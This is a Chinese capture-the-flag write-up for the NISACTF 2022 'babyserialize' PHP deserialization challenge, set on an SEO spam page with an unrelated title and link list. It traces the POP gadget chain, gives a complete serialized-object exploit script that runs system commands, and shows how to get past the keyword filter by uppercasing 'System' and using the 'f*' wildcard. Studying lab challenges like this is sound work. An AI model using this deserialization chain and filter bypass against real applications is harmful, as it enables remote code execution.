当前位置: 首页 > news >正文

太原做网站联系方式企业网站策划

太原做网站联系方式,企业网站策划,金华网站建设方案咨询,长春门户网站建设制作目录 [NISACTF 2022]babyserialize (一)理清pop链(链尾 链头),标注步骤 1. 先找eval、flag这些危险函数和关键字样(这是链尾) 2.往eval()上面看 3.往$bb()上面看 4.往strtolower()上面看 …

目录

[NISACTF 2022]babyserialize

(一)理清pop链(链尾 链头),标注步骤

1. 先找eval、flag这些危险函数和关键字样(这是链尾)

2.往eval()上面看

3.往$bb()上面看

4.往strtolower()上面看

5.往huang上面看

6.往nisa()上面看

发现需要触发__wakeup()函数,此处即为链头

(二) pop链脚本构造

按照已标注步骤进行

(三)过滤与绕过

1.绕过waf

2. 绕过preg_match正则匹配


[NISACTF 2022]babyserialize

学习参考!!![NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客

打开链接需要构造pop链

(一)理清pop链(链尾 链头),标注步骤

1. 先找eval、flag这些危险函数和关键字样(这是链尾)

找到eval()函数,可以利用参数txw4ever,调用系统函数system等实现命令执行

传给谁就标注在谁的后面,这里表示第一步:要传给txw4ever

2.往eval()上面看

发现需要触发__invoke()函数

__invoke():把对象当成函数执行时触发        e.g $a()

故在所有类中找,去找类似$a()的对象函数,发现$bb(),它对应的参数是su

第二步:要调用参数su,传入NISA类

3.往$bb()上面看

发现需要触发__toString()函数

__toString():把对象当成字符串输出触发        e.g echo $a

在所有类中找,发现strtolower()函数:将字符串转换成小写。对应参数 a

第三步: 要调用参数a,传入Ilovetxw类

第四步:此处还存在一个条件,fun="sixsixsix",由于fun属性为private,故直接在类里面修改

4.往strtolower()上面看

发现需要触发__set()函数

__set():给不存在的成员属性赋值时触发

在所有类中找,发现huang调用了fun,但在Ilovetxw类里不存在参数 fun

第五步:要调用参数huang,传入four类

5.往huang上面看

发现需要触发__call()函数

__call():调用不存在的方法触发

在所有类中找,发现nisa(),该类中不存在方法

第六步: 要从$ext属性中调用nisa()方法,传入Ilovetxw类

6.往nisa()上面看

发现需要触发__wakeup()函数,此处即为链头

此函数在类TianXiWei中

__wakeup():字符串被反序列化时触发

至此,我们理清了pop链,并进行了传参的相关标注

(二) pop链脚本构造

按照已标注步骤进行

1.实例化类NISA赋值给a,从中调用参数txw4ever执行RCE(ls /查看根目录)

2.实例化类Ilovetxw赋值给b,从中调用参数su传入NISA类

3.实例化类four赋值给c,从中调用参数a传入Ilovetxw类

4.实例化类Ilovetxw赋值给b,从中调用参数huang传入four类

5.实例化类TianXiWei赋值给d,从中调用参数huang传入Ilovetxw类

6.序列化类TianXiWei并输出

最终pop链:

<?php
class NISA{public $fun="show_me_flag";public $txw4ever;			//1 system
}
class TianXiWei{public $ext;				//6 Ilovetxwpublic $x;
}
class Ilovetxw{public $huang;				//5 fourpublic $su;					//2 NISA
}
class four{public $a="TXW4EVER";		//3 Ilovetxwprivate $fun="sixsixsix";	//4 fun="sixsixsix"
}
$a=new NISA();
$a->txw4ever='system("ls /");';
$b = new Ilovetxw();
$b->su = $a;
$c=new four();
$c->a = $b;
$b = new Ilovetxw();
$b->huang = $c;
$d=new TianXiWei();
$d->ext = $b;
echo urlencode(serialize($d));
?>

传入发现只有提示flag在根目录,可直接使用system("cat /flag");读取flag,但存在过滤

(三)过滤与绕过

源码提示 存在两处需要绕过

1.绕过waf

有一个hint()函数,触发就会输出一些提示

让if语句判断不成立(fun=="show_me_flag"不成立)即可绕过这个函数

故 可在对象NISA中 调用fun属性 并重新赋值line

再次传入后发现成功绕过了waf,但还存在正则匹配

2. 绕过preg_match正则匹配

暗示存在关键字的过滤:

使用了正则匹配,但没给匹配的内容,用的......

此处system被过滤掉了,使用会返回 something wrong

        flag也被过滤掉了,使用时无回显

故 使用大写字母System、f*分别绕过,得到flag。

(1)System大写绕过:php内置函数名不区分大小写

(2)*号通配符:匹配以f开头的所有字符        f* 

http://www.dt0577.cn/news/30111.html

相关文章:

  • vs2015网站开发实例淘宝店铺买卖交易平台
  • 项目网站的建设有两种模式google关键词搜索技巧
  • 广水住房和城乡建设部网站论坛推广的步骤
  • 凡科轻站成都全网营销推广
  • 网站app开发流程网络营销推广的优势
  • 山东德州网站建设要怎么网络做推广
  • 中国网站建设公司百强干净无广告的搜索引擎
  • 济南集团网站建设公司怎样弄一个自己的平台
  • 企业建设网站的步骤是什么如何在微信上做推广
  • 做ppt好的网站有哪些方面seo国外推广软件
  • 设计素材网站哪个最好免费品牌营销策略四种类型
  • 外贸常用网站有哪些怎么创建网站教程
  • wordpress手机端主题插件下载淘宝关键词优化技巧教程
  • 工艺品东莞网站建设chrome 谷歌浏览器
  • 网站后台改版面营销手段和技巧
  • 罗湖做网站运营乐云seoseo优化网站技术排名百度推广
  • 如何做阿里巴巴企业网站青岛app开发公司
  • 怎么创建网站快捷方式到桌面企业网站建设方案
  • 做取名的网站很赚钱吗合肥网站建设
  • 如何做网站关键词词霸网站百度收录要多久
  • 五台县建设局网站推广优化网站排名
  • 深圳营销型网站建设哪家好湖南省人民政府官网
  • godday网站建设超级seo外链工具
  • 微信上的网站怎么做app推广方案
  • 网站做三个月收录100网络推广工作好吗
  • 简易做海报网站软文推广多少钱
  • 中国纪检监察报投稿邮箱绍兴seo外包
  • 泉州网站开发企业杭州线上推广
  • 好的学习网站打广告搜索引擎优化排名优化培训
  • 网站设计主色学校免费引流微信推广